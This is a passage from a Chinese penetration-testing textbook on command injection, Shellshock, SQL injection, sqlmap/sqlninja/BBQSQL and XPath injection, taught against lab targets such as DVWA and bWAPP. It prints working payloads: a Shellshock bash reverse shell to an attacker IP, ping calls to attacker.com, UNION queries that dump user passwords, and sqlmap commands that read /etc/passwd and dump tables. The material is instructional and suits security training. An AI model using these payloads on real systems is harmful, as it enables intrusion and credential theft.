当您测试 Web 应用程序的命令注入漏洞,并确认应用程序正在与底层操作系统的命令行交互时,下一步是操纵和探测应用程序中的不同参数,并查看它们的响应。应该测试以下参数是否存在命令注入漏洞,因为应用程序可能使用其中一个参数在 Web 服务器上构建命令:

  • GET:使用此方法,输入参数通过 URL 发送。在之前的示例中,客户端的输入使用GET方法传递给服务器,并且容易受到命令注入漏洞的攻击。应该测试使用GET方法请求发送的任何用户可控参数。

  • POST:在此方法中,输入参数通过 HTTP 正文发送。类似于使用GET方法传递的输入;从最终用户获取的数据也可以使用POST方法在 HTTP 请求的正文中传递。然后,Web 应用程序可以使用这些数据在服务器端构建命令查询。

  • HTTP 头部:应用程序通常使用头字段来识别最终用户,并根据头部的值向用户显示定制信息。这些参数也可以被应用程序用于构建进一步的查询。检查命令注入的一些重要头字段如下:

  • Cookies

  • X-Forwarded-For

  • User-Agent

  • Referrer

基于错误和盲注命令注入

当通过输入参数传递命令并在 Web 浏览器中显示命令的输出时,很容易确定应用程序是否容易受到命令注入漏洞的攻击。输出可能是错误信息或您尝试运行的命令的实际结果。作为渗透测试人员,您将根据应用程序使用的 shell 修改和添加其他命令,并从应用程序中获取信息。当输出在 Web 浏览器中显示时,称为基于错误的非盲注命令注入

在另一种形式的命令注入中,即盲注命令注入,您注入的命令的结果不会显示给用户,也不会返回错误消息。攻击者将不得不依赖其他方式来确定命令是否确实在服务器上执行。当命令的输出显示给用户时,您可以使用任何 bash shell 或 Windows 命令,例如lsdirpstasklist,具体取决于底层操作系统。然而,在测试盲注时,您需要谨慎选择命令。作为道德黑客,当应用程序不显示结果时,识别注入漏洞存在的最可靠和安全的方法是使用ping命令。

攻击者通过注入ping命令将网络数据包发送到他们控制的机器上,并使用数据包捕获在该机器上查看结果。这可能在以下几个方面证明有用:

  • 由于ping命令在 Linux 和 Windows 中都相似,除了一些细微的差异,如果应用程序容易受到注入漏洞的影响,该命令肯定会运行。

  • 通过分析ping输出中的响应,攻击者还可以使用 TTL 值识别底层操作系统。

  • ping输出中的响应还可以使攻击者了解防火墙及其规则,因为目标环境允许 ICMP 数据包通过其防火墙。这可能在后期的利用阶段证明有用,因为 Web 服务器与攻击者之间有一条路径。

  • ping实用程序通常不受限制;即使应用程序在非特权帐户下运行,您执行命令的机会也是有保证的。

  • 输入缓冲区的大小通常是有限的,只能接受有限数量的字符,例如用户名输入字段。ping命令以及 IP 地址和一些附加参数可以轻松注入到这些字段中。

用于命令分隔符的元字符

在前面的示例中,分号被用作元字符,它分隔了实际输入和您尝试注入的命令。除了分号之外,还有几个其他元字符可用于注入命令。

开发人员可能设置过滤器以阻止分号元字符。这将阻止您的注入数据,因此您还需要尝试其他元字符,如下表所示:

符号 用法
; 分号是最常用的元字符,用于测试注入漏洞。Shell 按顺序运行所有命令,以分号分隔。
&& 双与运算符仅在左侧命令成功执行时才运行右侧命令。例如,可以注入密码字段以及正确的凭据。一旦用户通过身份验证进入系统,就可以运行注入的命令。
&#124;&#124; 双管道元字符是双与元字符的直接相反。它仅在左侧命令失败时才运行右侧命令。以下是此命令的示例:**cd invalidDir &#124;&#124; ping -c 2 attacker.com**
( ) 使用分组元字符,您可以将多个命令的输出组合并存储在文件中。以下是此命令的示例:**(ps; netstat) > running.txt**
` 单引号元字符用于强制 shell 解释并运行反引号之间的命令。以下是此命令的示例:**Variable= "OS version uname -a" && echo $variable**
>> 此字符将左侧命令的输出追加到右侧字符指定的文件中。以下是此命令的示例:**ls -la >> listing.txt**
&#124; 单管道将左侧命令的输出作为右侧指定命令的输入。以下是此命令的示例:**netstat -an &#124; grep :22**

作为攻击者,你经常需要使用前面的元字符的组合来绕过开发人员设置的过滤器,以便注入你的命令。

利用 shellshock

shellshock漏洞于 2014 年 9 月被发现,并分配了初始 CVE 标识符 2014-6271。Shellshock 是一个任意代码执行ACE)漏洞,被认为是有史以来发现的最严重的缺陷之一。

Bourne Again Shellbash)处理环境变量的方式中发现了缺陷,影响使用 bash 作为操作系统接口的应用程序和操作系统范围很广。大多数基于 Unix 的系统(包括 Mac OS X)中的 DHCP 客户端、命令行终端和 web 应用程序中的 CGI 脚本都受到影响。当将空函数设置为环境变量时触发该缺陷。空函数如下所示:


() { :; };

当 bash shell 接收到前面的一系列字符以及变量时,与其拒绝字符串,bash shell 会接受它以及随后的变量,并将其作为服务器上的命令执行。

正如你在之前利用命令注入漏洞时所看到的,bash shell 常用于 web 应用程序,并且你经常会看到后端、中间件和监控 web 应用程序将变量传递给 bash shell 以执行一些任务。接下来将展示一个利用 shellshock 漏洞的示例,使用来自 PentesterLab 的易受攻击的 live CD(www.pentesterlab.com/exercises/cve-2014-6271)。

获取反向 shell

如果你使用 live CD 镜像启动虚拟机,你会得到一个最小系统,其中包括一个加载显示系统信息的非常简单网页的 web 服务器:

如果你查看代理中的请求,你会注意到一个指向/cgi-bin/status的请求,其响应包括系统的正常运行时间以及看起来像是uname -a命令的结果:

要获取此类信息,状态脚本需要与操作系统通信。有可能它正在使用 bash 进行通信,因为 bash 是许多基于 Unix 的系统的默认 shell,并且当处理 CGI 脚本时,User-Agent 标头会变成一个环境变量。要测试是否实际上存在命令注入,你需要测试不同版本的注入。假设你希望目标服务器返回 ping 以验证它是否执行命令。以下是使用通用目标地址的一些示例。注意使用空格和分隔符:


() { :;}; ping -c 1 192.168.1.1

() { :;}; /bin/ping -c 1 192.168.1.1

() { :;}; bash -c "ping -c 1 192.168.1.1"

() { :;}; /bin/bash -c "ping -c 1 attacker.com"

() { :;}; /bin/sh -c "ping -c 1 192.168.1.1"

作为测试的一部分,你将请求发送到 Burp Suite 的 Repeater,并仅在 User-Agent 标头中提交 () { :;}; 空函数,并获得与无注入相同的有效响应:

如果尝试注入诸如 unameid 或单个 ping 等命令,你会收到一个错误。这意味着标头实际上正在被处理,你只需要找到发送命令的正确方法:

经过一些尝试和错误,你找到了正确的命令。ping -c 1 10.7.7.4 命令将在服务器上执行,并且通过网络嗅探器(例如 Wireshark)在攻击者的机器上捕获到 ping:

现在你已经找到了正确的注入命令,你可以尝试直接访问服务器的 shell。为此,首先使用 Netcat 设置监听器如下所示:


nc -lvp 12345

然后注入命令。这一次,你正在注入一个更高级的命令,如果成功,将产生一个完全交互式的 shell:


() { :;}; /bin/bash -c "ping -c 1 10.7.7.4; bash -i >& /dev/tcp/10.7.7.4/12345 0>&1"

bash shell 将变量解释为命令并执行它,而不是接受变量作为字符序列。这看起来与先前讨论的命令注入漏洞非常相似。然而,这里的主要区别在于,bash shell 本身易受代码注入的影响,而不是网站。由于许多应用程序(如 DHCP、SSH、SIP 和 SMTP)都使用 bash shell,因此攻击面大大增加。通过 HTTP 请求利用漏洞仍然是最常见的方法,因为 bash shell 经常与 CGI 脚本一起使用。

要识别 Web 服务器中的 CGI 脚本,除了使用代理分析请求和响应之外,还可以使用NiktoDIRB

使用 Metasploit 进行利用

从终端启动 Metasploit 控制台 (msfconsole)。你需要在 exploit/multi/http 下选择 apache_mod_cgi_bash_env_exec 利用程序:


use exploit/multi/http/apache_mod_cgi_bash_env_exec

然后,你需要使用 set 命令定义远程主机和目标 URI 值。你还需要选择 reverse_tcp 负载,该负载将使 Web 服务器连接到攻击者的机器。可以通过导航到 linux | x86 | meterpreter 找到此选项。

确保本地主机 (SRVHOST) 和本地端口 (SRVPORT) 的值是正确的。你可以使用 set 命令设置这些值和其他值:


set SRVHOST 0.0.0.0

set SRVPORT 8080

使用 0.0.0.0 主机,服务器将通过黑客启用的所有网络接口进行侦听。此外,请验证黑客机器上选定的端口是否已经有服务在运行:

一旦准备就绪,请输入 exploit,如果服务器容易受到 shellshock 攻击,则会看到 meterpreter 提示符。对于黑客来说,shell 是最有价值的财产meterpreter 会话是在后渗透阶段非常有用的工具。在这个阶段,黑客真正了解到他们已经入侵的机器的价值。Meterpreter 拥有大量内置命令。

Meterpreter 是 Metasploit 中包含的高级远程 Shell。在 Windows 系统中执行时,它包括提升权限、转储密码和密码哈希、模拟用户、嗅探网络流量、记录按键并在目标机器上执行许多其他利用的模块。

以下截图显示了 sysinfo 命令的输出和 Meterpreter 中的远程系统 shell:

SQL 注入

与后端数据库进行交互以检索和写入数据是 Web 应用程序执行的最关键任务之一。将数据存储在一系列表中的关系数据库是实现此目的的最常见方法,而对于查询信息,结构化查询语言SQL)是事实上的标准。

为了允许用户选择要查看的信息或根据其配置文件筛选他们可以看到的内容,从 cookie、输入表单和 URL 变量获取的输入用于构建传递回数据库进行处理的 SQL 语句。由于用户输入参与了构建 SQL 语句,因此应用程序的开发人员需要在将其传递到后端数据库之前仔细验证它。如果这种验证没有得到适当处理,恶意用户可能能够发送 SQL 查询和命令,这些查询和命令将由数据库引擎执行,而不是作为预期值进行处理。

利用用户输入信任来执行 SQL 查询而不是使用这些值作为过滤参数的攻击类型被称为SQL 注入

SQL 入门

为了理解 SQL 注入漏洞,首先需要对 SQL 有一些了解。首先,让我们来看一些基本的数据库概念:

  • 列或字段: 列或字段是指一种特定的数据片段,指的是所有实体的单个特征,比如用户名、地址或密码。

  • 行或记录: 行或记录是一组信息或一组字段值,与单个实体相关联,例如与单个用户或单个客户相关的信息。

  • 表: 表是包含有关同一类型元素的信息的记录列表,例如用户、产品或博客文章的表。

  • 数据库: 数据库是与同一系统或一组系统相关联的全部表的集合,通常彼此相关。例如,一个在线商店数据库可能包含客户、产品、销售、价格、供应商和员工用户的表。

为了获取如此复杂的结构的信息,几乎所有现代编程语言和数据库管理系统DBMS)都支持使用 SQL。SQL 允许开发人员对数据库执行以下操作:

语句 描述
CREATE 用于创建数据库和表
SELECT 允许从数据库中检索信息
UPDATE 允许修改数据库中现有数据
INSERT 允许在数据库中插入新数据
DELETE 用于从数据库中删除记录
DROP 用于永久删除表和数据库

其他更复杂的功能,如存储过程、完整性检查、备份和文件系统访问也受支持,并且它们的实现大多取决于所使用的数据库管理系统(DBMS)。

大多数合法的 SQL 操作任务都使用了前述语句。然而,如果不控制它们的使用,DELETEDROP语句可能会导致信息丢失。在渗透测试中,不鼓励使用DROPDELETE进行 SQL 注入攻击,或者我应该说是禁止的,除非客户明确要求。

SQL 语句中的(分号)元字符类似于命令注入中的用法,用于在同一行上组合多个查询。

SELECT 语句

在日常数据库使用中的基本操作是检索信息。这可以通过SELECT来完成。基本语法如下:


SELECT [elements] FROM [table] WHERE [conditions]

在这里,elements可以是通配符(例如,*选择所有内容),或者是您想要检索的列的列表。table是您想要检索信息的表。WHERE子句是可选的,如果使用,查询将只返回满足条件的行。例如,您可以选择所有价格低于 100 美元(USD)的产品的namedescriptionprice列:


SELECT name,description,price FROM products WHERE price<100

WHERE子句还可以使用布尔运算符制作更复杂的条件:


SELECT columnA FROM tableX WHERE columnE='employee' AND columnF=100;

如果WHERE子句后面的条件得到满足,即columnE具有employee字符串值,而columnF具有100值,上述 SQL 语句将从名为tableX的表中返回columnA的值。

漏洞代码

类似于之前讨论的命令注入漏洞,使用GET方法传递的变量也经常用于构建 SQL 语句。例如,/books.php?userinput=1 URL 将显示关于第一本书的信息。

在以下的 PHP 代码中,用户通过 GET 方法提供的输入直接添加到 SQL 语句中。MySQL_query() 函数将把 SQL 查询发送到数据库,MySQL_fetch_assoc() 函数将从数据库中以数组格式获取数据:


<?php

$stockID = $_GET["userinput"];

$SQL= "SELECT * FROM books WHERE ID=" . $stockID;

$result= MySQL_query($SQL);

$row = MySQL_fetch_assoc($result);

?>

没有适当的输入验证,攻击者可以控制 SQL 语句。如果你把 URL 改成 /books.php?userinput=10-1,以下查询将被发送到后端数据库:


SELECT * FROM books WHERE ID=10-1

如果第九本书的信息被显示,你可以得出结论:应用程序容易受到 SQL 注入攻击的影响,因为未经过滤的输入直接发送到数据库执行减法运算。

SQL 注入漏洞存在于 Web 应用程序中,而不是在数据库服务器上。

SQL 注入测试方法

在前一节中,你目睹了对一个易受攻击的代码片段的攻击结果。很显然,如果用户输入在没有先进行验证的情况下直接连接到 SQL 查询中,用户可以注入不同的数值或代码,这些将由数据库中的 SQL 解释器处理执行。但是,如果你没有访问源代码怎么办?这在渗透测试中是最有可能发生的情况;那么,你如何识别这样的缺陷呢?

通过尝试简单的注入字符串并分析服务器的响应来获取答案。让我们看一个使用 Damn Vulnerable Web Application (DVWA) 的简单示例。在 SQL 注入部分,如果你在文本框中输入任何数字,比如 2,你将获取 ID 为该数字的用户的信息:

现在尝试提交一个 '(撇号)字符,而不是一个数字,你会看到响应是一个非常描述性的错误消息:

这个唯一的回应告诉我们,该参数容易受到注入攻击,因为它表明在提交 ID 时有一个语法错误,在注入撇号后,形成的查询如下:


SELECT first_name, last_name FROM users WHERE user_id = '''

开放的撇号被注入的字符闭合。代码中已存在的撇号保持开放,这导致当数据库管理系统尝试解释句子时出错。

另一种检测注入的方法是让解析器执行布尔运算。尝试提交类似 2' and '1'='1 这样的内容。注意,你不需要发送第一个和最后一个撇号—这些将由 SQL 句子中已有的撇号完成,根据先前的错误消息推断。有时,你需要尝试多种组合,包括带有和不带有撇号、括号和其他分组字符,以发现句子的真实结构是如何组成的:

结果是相同 ID=2 的用户。这是预期的结果,因为你附加了一个始终成立的条件;也就是,and '1'='1'

接下来,尝试一个始终为假的条件:2' and '1'='2

从浏览器的地址栏中,你可以看到通过GET请求完成 ID 提交。对于错误条件的响应是空文本,而不是用户的详细信息。因此,即使 ID=2 的用户存在,句子的第二个条件也是假的,结果为空。这表明你可以将 SQL 代码注入到查询中,并可能从数据库中提取信息。

其他有用的测试字符串,可能帮助你识别 SQL 注入,如下:

  • 对数值输入的算术运算:这些包括,2+1-10+1

  • 字母值:在预期数字的地方使用这些(abc,...)。

  • 分号 (😉:在大多数 SQL 实现中,分号表示句子的结束。你可以注入一个分号,后跟另一个如SLEEPWAITFOR的 SQL 语句,然后比较响应时间。如果它与你提供的暂停时间一致,则存在注入漏洞。

  • 注释:注释标记(#///*--)使解释器忽略注释后的所有内容。通过在一个有效值之后注入这些,你应该得到一个与单独提交值时不同的响应。

  • 双引号 ("):这可以代替撇号或单引号来界定字符串。

  • 通配符,字符%(百分比)和 _(下划线):这些也可以在WHERE条件中使用,因此如果代码存在漏洞,你可以注入它们;%表示所有字符串,_表示任意一个字符,但只是一个字符。例如,如果使用LIKE运算符而不是=,如在以下的 PHP 字符串连接中,如果我们提交百分号(%),你将得到所有用户作为结果:


"SELECT first_name, last_name FROM users WHERE first_name LIKE '" .

$name . "'"

或者,如果你提交像"Ali__"(带有两个下划线)这样的内容,你可能会得到如"Alice""Aline""Alica""Alise""Alima"这样的结果。

  • UNION 运算符:这在 SQL 中用于合并两个查询的结果。作为条件,两个查询的结果需要有相同数量的列。因此,如果你有一个返回三个列的脆弱查询,如刚才所示(选择两个列)并注入类似UNION SELECT 1,2的东西,你将得到一个有效的结果,或者如果你注入UNION SELECT 1,2,3,你会得到一个错误。如果结果相同,无论列数或差异如何不一致,那么输入可能不是脆弱的。

利用 SQL 注入提取数据

为了利用 SQL 注入漏洞从数据库中提取数据,你首先需要做的是理解查询是如何构建的,这样你才能知道在哪里以及如何注入你的有效载荷。

发现存在注入漏洞有助于你弄清楚WHERE条件是如何制定的。你还需要知道选择了多少列以及实际返回给客户端的是哪些列。

要获得列数,可以使用ORDER BY。从在有效值之后注入ORDER BY 1开始,以按第一行,第二行等顺序对结果进行排序,直到您因尝试使用不存在的行号来排序结果而出现错误为止。

如前面的屏幕截图所示,通过按列3排序,查询失败,这告诉您它只返回了两列。并且请注意地址栏中指示您的注入是2' order by 3 -- ', 您需要添加注释以让解释器忽略查询的其余部分,因为在 SQL 中ORDER必须始终在句子的末尾。您还需要在注释前后添加空格(浏览器会将其替换为地址栏中的+),并在末尾关闭单引号以避免语法错误。

现在您知道查询返回两列,要查看它们在响应中是如何呈现的,请使用UNION。通过提交 2' union select 1,2 -- ', 您将看到第一列是名字,第二列是姓:

现在您可以开始从数据库中提取信息。

获取基本环境信息

为了从数据库中提取信息,您需要知道要查找什么:有哪些数据库?我们的用户可以访问哪些?有哪些表,它们有哪些列?这是您需要向服务器询问的初始信息,以便能够查询所需获取的数据:

使用 DVWA 示例,假设您只有两列来获取信息,从询问数据库名称和应用程序用于连接到 DBMS 的用户开始。

这是通过 MySQL 中预定义的database()user()函数完成的:

您还可以通过注入以下内容来询问服务器上的数据库列表:


2' union SELECT schema_name,2 FROM information_schema.schemata -- '

information_schema是包含 MySQL 的所有配置和数据库定义信息的数据库,因此dvwa应该是与目标应用程序对应的数据库。现在让我们查询该数据库中包含的表:


2' union SELECT table_name,2 FROM information_schema.tables WHERE table_schema = 'dvwa' -- '

如屏幕截图所示,我们正在查询information_schema.tables表中定义的所有表的表名,其中table_schema(或数据库名称)为'dvwa'。从那里,您可以获取包含用户信息的表的名称,还可以询问其列及每个列的类型:


2' union SELECT table_name,2 FROM information_schema.tables WHERE table_schema = 'dvwa' and table_name = 'users' --'

每次请求只应选择一两个信息,因为您只有两个字段来显示信息。SQL 提供CONCAT函数,它可以连接两个或更多个字符串。您可以使用它将多个字段组合成一个单个值。您将使用CONCAT来提取用户 ID,名和姓,用户名和密码:


2' union select concat(user_id,'-',first_name,' ',last_name),concat(user,':',password) from dvwa.users -- '

盲 SQL 注入

到目前为止,我们已经找到并利用了一种常见的 SQL 注入漏洞,在这种漏洞中,请求的信息显示在服务器的响应中。然而,还有一种不同类型的 SQL 注入,无论其是否存在,服务器响应都不会显示实际详细信息。这被称为盲注 SQL 注入

要检测盲注 SQL 注入,您需要形成查询以获得是或否的响应。这意味着查询在结果为正或负时以一致的方式响应,以便您可以区分其中之一。这可以基于响应内容、响应代码或执行某些注入命令来实现。在最后一种情况下,最常见的方法是注入暂停命令并根据响应时间检测 true 或 false(基于时间的注入)。为了阐明这一点,让我们通过 DVWA 进行一个快速练习,您还将使用 Burp Suite 来方便地重新提交请求。

在基于时间的注入中,将形成一个查询,如果结果为 true,则会暂停处理 N 秒,并且如果结果为 false,则会在不暂停的情况下执行查询。在 MySQL 中使用 SLEEP(N) 函数,在 MS SQL Server 中使用 WAITFOR DELAY '0:0:N' 函数来实现。如果服务器需要这段时间才能响应,结果就为 true。

首先,转到 SQL 注入(盲注)。您将看到来自其他 SQL 注入练习的相同的用户 ID 文本框。如果您提交一个数字,它会显示相应用户的名字和姓氏。然而,这一次,如果您提交一个撇号或单引号,它会显示一个空的响应。但是,如果您提交 1'' 会发生什么?它会显示用户 1 的信息,所以它是可注入的:

让我们回顾一下您现在所拥有的信息。有一个有效的用户,ID=1。如果您提交一个不正确的查询或一个不存在的用户,结果只是一个空的信息空间。然后有真和假的状态。您可以通过提交 1' and '1'='1 and 1' and '1'='2 来测试这些状态:

以下截图显示了虚假响应。请注意,浏览器的地址栏中会对某些字符进行编码(例如,'=' 编码为 '%3D'):

要询问是/否问题,您必须用返回 true 或 false 的查询替换 '1'='1'。您已经知道应用程序的数据库名称是 'dvwa'。现在提交以下内容:


1' and database()='dvwa

在这里,您会收到一个肯定的响应。请记住,您不需要包含第一个和最后一个引号,因为它们已经在应用程序的代码中了。您怎么知道这一点?您需要逐个字符地迭代,找到每个字母,问诸如“当前数据库名称是否以 ? 开头”这样的问题。这可以通过表单或 Burp 的 Repeater 逐个字符完成,也可以使用 Burp 的 Intruder 进行自动化。

从代理历史记录中向侵入者发送一个有效请求,并按照以下截图设置输入:

请注意,在将a设置为输入后,会有 %25。这是 URL 编码的%(百分比)字符。 URL 编码由浏览器自动完成,有时服务器需要立即解释发送的字符。编码还可以用于绕过某些基本的验证过滤器。如上所述,百分比字符是一个通配符,可以匹配任何字符串。 在这里,我们正在说如果用户 ID 是 1,当前数据库的名称以 a 开头,然后跟着任何内容;有效载荷列表将是字母表中所有的字母和数字 0 到 9. SQL 字符串比较不区分大小写,除非特别指定。这意味着Aa是相同的:

现在你已经有了输入位置和有效载荷,但是你将如何区分真实响应和虚假响应呢?你需要在真实响应或虚假响应中匹配一些字符串。 你知道真实响应中总是包含First name文本,因为它显示了用户的信息。我们可以为此制定一个 Grep- Match 规则:

现在开始攻击,查看d是否与真实响应匹配:

要找到第二个字符,只需将输入位置前置一个 d(结果):

再次开始攻击,你会发现v是下一个字符:

持续这个过程,直到没有可能的输入返回积极的响应为止。 你也可以构建第一轮查询,使用以下注入来获取名称的长度,并迭代最后一个数字,直到找到正确的长度值为止:


1'+and+char_length(database())=1+--+'

请记住,由于侵入者不像浏览器那样添加编码,你可能需要自己添加或在负载配置中进行配置。在这里,我们用+号替换所有的空格。同时,请注意,由于char_length()的返回值是一个整数,你需要在其之后添加注释并关闭引号。

有关最常见 DBMS 中用于 SQL 注入的有用 SQL 命令的优秀参考资料可以在 PentestMonkey 的 SQL 注入小抄中找到:pentestmonkey.net/category/cheat-sheet/sql-injection

自动化利用

正如你从前面的部分所看到的,利用 SQL 注入漏洞可能是一个棘手和耗时的任务。 幸运的是,有一些有用的工具可供渗透测试人员从易受攻击的应用程序中自动提取信息。

即使这里提供的工具不仅可以用于利用还可以用于检测漏洞,也不建议以这种方式使用它们,因为它们的模糊机制会产生大量的流量;它们不能轻易监视,你将对它们向服务器发出的请求种类有限的控制。这增加了对数据的损害风险,并使诊断事件变得更加困难,即使所有日志都被保留。

sqlninja

sqlninja工具可以帮助你利用 Microsoft SQL 服务器作为后端数据库的应用程序中的 SQL 注入漏洞。使用 sqlninja 工具的最终目标是通过 SQL 注入漏洞控制数据库服务器。sqlninja 工具用 Perl 编写,可以在 Kali 中找到,导航至 Applications | Database Assessments。sqlninja 工具不能用于检测注入漏洞的存在,而是利用漏洞来获得对数据库服务器的 shell 访问。以下是 sqlninja 的一些重要功能:

  • 用于对远程 SQL 服务器进行指纹识别,以确定版本、用户权限、数据库身份验证模式和xp_cmdshell的可用性

  • 用于通过 SQLi 向目标上传可执行文件

  • 用于与 Metasploit 集成

  • 它使用混淆代码的 WAF 和 IPS 规避技术

  • 使用 DNS 和 ICMP 协议进行 Shell 隧道

  • 对旧版 MS SQL 的sa密码进行暴力破解

与 sqlmap 类似,sqlninja 工具可以与 Metasploit 集成,当工具利用注入漏洞并创建本地 shell 时,可以使用它来通过meterpreter会话连接到目标服务器。sqlninja 需要保存的所有信息都要保存在一个配置文件中。在 Kali Linux 中,示例配置文件保存在/usr/share/doc/sqlninja/sqlninja.conf.example.gz。你需要使用gunzip命令来提取它。你可以使用 Leafpad 编辑文件,并通过 Burp 等代理导出 HTTP 请求保存在其中。你还需要指定目标将连接到的本地 IP 地址。该工具附带了一份详细的逐步 HTML 指南,可以在与配置文件相同的位置找到,名为sqlninja-how.html

配置文件看起来与下面的截图类似。--httprequest_start----httprequest_end--是标记,它们必须在 HTTP 请求的开始和结束处定义:

sqlninja工具包含几个模块,如下图所示。每个模块都是为了使用不同的协议和技术访问服务器而创建的:

要开始利用,输入以下内容:


sqlninja -f <path to config file > -m m

sqlninja 工具现在将开始注入 SQL 查询以进行利用,当完成时,它将返回一个meterpreter会话。利用这一点,你可以完全控制目标。作为网络上最重要的关键服务器之一,数据库系统总是对恶意攻击者最具吸引力的目标。像 sqlninja 这样的工具可以帮助你在对手攻击之前了解 SQL 注入漏洞的严重性。作为 IT 安全专业人员,你最不想看到的就是攻击者获得对数据库服务器的 shell 访问。

BBQSQL

Kali Linux 包含了一个专门用于利用盲 SQL 注入漏洞的工具。BBQSQL 是一个用 Python 编写的工具。它是一个菜单驱动的工具,会问几个问题,然后根据你的回答构建注入攻击。它是能够自动化测试盲 SQL 注入漏洞的较快的工具之一,而且具有很高的准确性。

BBQSQL 工具可以配置为使用二进制或频率搜索技术。它还可以根据应用程序的 HTTP 响应中的特定值来定制,以确定 SQL 注入是否成功。

如下截图所示,该工具提供了一个漂亮的菜单驱动向导。URL 和参数在第一个菜单中定义,输出文件,在第二个菜单中定义所使用的技术和响应解释规则:

sqlmap

sqlmap 工具可能是目前最完整的 SQL 注入工具。它自动化了发现 SQL 注入漏洞、准确猜测数据库类型和利用注入漏洞控制整个数据库服务器的过程。一旦利用注入,它还可以用作远程 shell,或者触发 Metasploit 载荷(如 Meterpreter)以获得更高级的访问权限。

sqlmap 的一些特性包括:

  • 它为所有主要数据库系统提供支持。

  • 它对基于错误和盲注的 SQL 注入都有效。

  • 它可以枚举表和列名,还可以提取用户和密码哈希。

  • 它支持通过利用注入漏洞下载和上传文件。

  • 它可以使用不同的编码和篡改技术来绕过防御机制,如过滤、WAF 和 IPS。

  • 它可以在数据库服务器上运行 shell 命令。

  • 它可以与 Metasploit 集成。

在 Kali Linux 中,可以通过导航到应用程序|数据库评估找到 sqlmap。 要使用该工具,首先需要找到要测试 SQL 注入的输入参数。 如果变量是通过GET方法传递的,您可以向 sqlmap 工具提供 URL,它将自动化测试。 您还可以显式告诉 sqlmap 仅使用-p选项测试特定参数。 在下面的示例中,我们正在测试username变量是否存在注入漏洞。 如果发现存在漏洞,--schema选项将列出信息模式数据库的内容。 这个数据库包含所有数据库及其表信息:


sqlmap -u "http://10.7.7.5/mutillidae/index.php?page=user-info.php&username=admin&password=admin&user-info-php-submit-button=View+Account+Details" -p username --schema

如果要注入的参数是使用POST方法传递的,可以将 HTTP 文件作为输入提供给sqlmap,其中包含标头和参数。 可以使用诸如 Burp 之类的代理生成 HTTP 文件,方法是在捕获流量时在 Raw 选项卡下复制显示的数据。

该文件将类似于以下截图所示:

然后可以将 HTTP 文件作为输入提供给sqlmap--threads选项用于选择应用程序的并发 HTTP 请求数。 --current-db选项将提取应用程序使用的数据库名称,而--current-user提取连接到数据库的用户的名称:


sqlmap -r bodgeit_login.txt -p username --current-db --current-user --threads 5

该命令产生以下输出。数据库名称为PUBLIC,用户名称为SA

确定数据库名称后,可以使用--tables--columns选项提取有关表和列的信息。 此外,--data选项可用于定义POST参数,而不是使用包含请求的文件。 请注意使用"(引号); 它们用于使 Linux shell 将整套参数解释为单个字符串,并转义&(和号)字符,因为它是 Unix 系统命令行中的保留运算符:


sqlmap -u http://10.7.7.5/bodgeit/login.jsp --data "username=23&password=23" -D public --tables

您将看到以下输出:

要从某些表中提取所有数据,我们使用--dump选项加上-D指定数据库和-T指定表:


sqlmap -u http://10.7.7.5/bodgeit/login.jsp --data "username=23&password=23" -D public -T users -dump

让我们看一个输出示例:

攻击者的目标是利用 SQL 注入漏洞在服务器上进一步立足。 使用 sqlmap,您可以利用这个漏洞在数据库服务器上读写文件,这会调用目标上的load_file()out_file()函数来实现它。 在下面的示例中,我们正在读取服务器上/etc/passwd文件的内容:


sqlmap -u "http://10.7.7.5/mutillidae/index.php?page=user-info.php&username=admin&password=admin&user-info-php-submit-button=View+Account+Details" -p username --file-read /etc/passwd

sqlmap工具提供了一些额外的选项,如下表所示:

选项 描述
-f 这将对数据库执行广泛的指纹识别
-b 这会检索 DBMS 横幅
--sql-shell 成功利用后访问 SQL shell 提示符
--schema 这枚举数据库模式
--comments 在数据库中搜索评论
--reg-read 这读取 Windows 注册表键值
--identify-waf 这识别 WAF/IPS 保护
--level N 这将扫描级别(注入变体的数量和复杂性)设置为N(1-5)
--risk N 这设置了请求的风险(1-3);等级 2 包括基于时间的重型请求;等级 3 包括基于 OR 的请求
--os-shell 这尝试返回系统 shell

您可以在 sqlmap 的 GitHub 项目页面github.com/sqlmapproject/sqlmap/wiki/Usage中找到您可以与 sqlmap 一起使用的所有选项的详尽列表。

SQL 注入漏洞的攻击潜力

以下是用于操纵 SQL 注入漏洞的技术:

  • 通过修改 SQL 查询,攻击者可以从数据库中检索普通用户无权访问的额外数据

  • 通过从数据库中删除关键数据运行 DoS 攻击

  • 绕过认证并执行特权升级攻击

  • 使用批量查询,可以在单个请求中执行多个 SQL 操作

  • 可以使用高级 SQL 命令来枚举数据库的模式,然后也可以修改结构

  • 使用load_file()函数在数据库服务器上读取和写入文件以及into outfile()函数写入文件

  • 诸如 Microsoft SQL 之类的数据库允许通过 SQL 语句运行 OS 命令使用xp_cmdshell;对 SQL 注入漏洞的应用程序可以允许攻击者完全控制数据库服务器,并通过它也攻击网络上的其他设备

XML 注入

本节将涵盖在 Web 应用程序中使用 XML 的两种不同观点:

  • 当应用程序在 XML 文件或 XML 数据库中执行搜索时

  • 当用户提交以 XML 格式化的信息以供应用程序解析时

XPath 注入

XPath是用于从 XML 文档中选择节点的查询语言。以下是基本的 XML 结构:


<rootNode>

<childNode>

<element/>

</childNode>

</rootNode>

一个 XPath 对element的搜索可以表示如下:


/rootNode/childNode/element

可以制作更复杂的表达式,例如,对登录页面的 XPath 查询可能如下所示:


//Employee[UserName/text()='myuser' And Password/text()='mypassword']

与 SQL 一样,如果用户输入被直接连接到查询字符串中,此类输入可能被解释为代码而不是数据参数。

例如,让我们看一下 bWapp 的 XML/XPath 注入(搜索)练习。它显示了一个下拉框,您可以在其中选择一种类型,并搜索匹配这种类型的电影:

在这里,genre是应用程序在服务器端进行的某些搜索的输入参数。要测试它,您需要创建一个搜索,同时让浏览器首先识别将genre参数发送到服务器的请求(/bWAPP/xmli_2.php?genre=action&action=search),然后将其发送到 Repeater。您将使用 Burp Suite 或 ZAP 等代理执行此操作。一旦进入 Repeater,将一个单引号添加到流派中。然后,点击 Go 并分析响应:

通过添加一个单引号,我们导致应用程序响应中出现了语法错误。这清楚地表明正在使用 XPath。现在您需要知道查询是如何构建的。首先,让我们看看它是否寻找整个文本或其中的一部分。删除流派的最后几个字母,然后点击 Go:

您可以看到,即使只使用流派的一部分,您仍然会获得与使用完整单词相同的结果。这意味着查询正在使用contains()函数。您可以查看 github.com/redmondmj/bWAPP 中的源代码,因为它是一个开源应用程序。但是,让我们采取黑盒方法;因此,可能是以下的内容:


.../node[contains(genre, '$genre_input')]/node...

尽管您可能不知道完整的查询,但可以非常自信地认为[contains(genre, '$genre_input')]或类似的内容已经存在。

现在尝试更加复杂的注入,试图检索您注入的 XML 文件中的所有记录:


')]/*|//*contains('1','1

